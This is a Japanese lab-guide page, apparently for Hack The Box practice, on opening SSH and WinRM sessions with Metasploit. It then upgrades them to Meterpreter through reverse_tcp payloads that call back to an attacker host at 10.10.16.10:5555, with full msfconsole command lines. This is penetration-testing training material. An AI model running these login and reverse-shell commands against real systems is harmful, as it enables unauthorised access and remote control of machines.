コンテンツにスキップ

SSH / WinRM ログイン

SSH / WinRM でセッションを作り、必要なときだけ Meterpreter へ昇格します。資格情報は Git 管理する .rc に保存せず、対話的に設定します。

SSH ログインでセッションを作る

Section titled “SSH ログインでセッションを作る”

テンプレート rc/ssh_login.prompt.rc を読み、実行時に資格情報を渡します。

use auxiliary/scanner/ssh/ssh_login
set STOP_ON_SUCCESS true
set CreateSession true
show options
resource ~/lab/msf/rc/ssh_login.prompt.rc; run verbose=true rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -l

単一の正規資格情報を確認する用途ならこれで十分です。パスワード一覧を使って試行する場合は、HTB の許可範囲でも試行速度とアカウントロックの条件を確認します。

鍵認証の場合は KEY_FILE を使います。

run verbose=true rhosts=10.10.11.123 username=svc-user key_file=/path/to/id_rsa createsession=true

sshexec で直接コマンド実行 / interact

Section titled “sshexec で直接コマンド実行 / interact”

exploit/multi/ssh/sshexec は SSH 上でコマンドを実行し、ターゲットによっては対話セッションも開けます。先にターゲットを確認します。

use exploit/multi/ssh/sshexec; show targets
use exploit/multi/ssh/sshexec; set TARGET <ssh_interact_target_id>; run verbose=true payload=generic/ssh/interact rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -l

WinRM ログインでセッションを作る

Section titled “WinRM ログインでセッションを作る”

テンプレート rc/winrm_login.prompt.rc の内容です。

use auxiliary/scanner/winrm/winrm_login
set RPORT 5985
set DOMAIN .
set CreateSession true
show options
resource ~/lab/msf/rc/winrm_login.prompt.rc; run verbose=true rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -l
条件設定
ローカルアカウントDOMAIN .
AD domain アカウントDOMAIN を NetBIOS または FQDN 相当へ
HTTP WinRMRPORT 5985、SSL false
HTTPS WinRMRPORT 5986、SSL true

Kerberos を使う WinRM は NTLM ログインと前提が違います。klist、SPN、時刻同期、名前解決を先に確認し、専用手順として分けます。

sessions -l
sessions -i 1

シェルセッション上で作業が終わったら background または Ctrl-Z で戻ります。元のログインセッションは閉じずに残すと、昇格失敗時の復旧経路になります。

SSH / WinRM ログインで作ったシェルセッションから、Meterpreter の reverse セッションを別に作ります。SSH / WinRM 接続そのものを Meterpreter 化するわけではありません。

最短は sessions -u です。内部では post/multi/manage/shell_to_meterpreter が動きます。

sessions -u 1
sessions -l

オプションを明示したい場合は post モジュールを直接使います。

run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 handler=true; sessions -l

Linux x64 で OS やアーキテクチャが誤検知される場合です。

run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 payload_override=linux/x64/meterpreter/reverse_tcp platform_override=linux handler=true

Windows x64 の場合です。

run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 payload_override=windows/x64/meterpreter/reverse_tcp platform_override=windows handler=true

確認点です。

  • SESSION は SSH / WinRM / シェルセッションの番号。
  • 対象から Kali の LHOST:LPORT に戻れること。
  • VPN の IP(例: tun0)を指定していること。
  • 元のセッションは閉じないこと。

失敗時の切り分けは トラブルシューティング を参照します。

get_ticket の用途には、チケットの取得、一覧確認、注入、サービスチケットの要求があります。まずは Windows セッション上でチケットの有無を確認します。

sessions -i 1
shell
klist

観察点です。

  • 現在のログオンセッションに TGT があるか。
  • 対象サービスの TGS がすでにキャッシュされているか。
  • Client / Server / 有効期限 / 暗号方式。
  • DC と端末の時刻差、名前解決、接続先 SPN の整合性。

Kerberos の前提は Kerberos 認証 を参照します。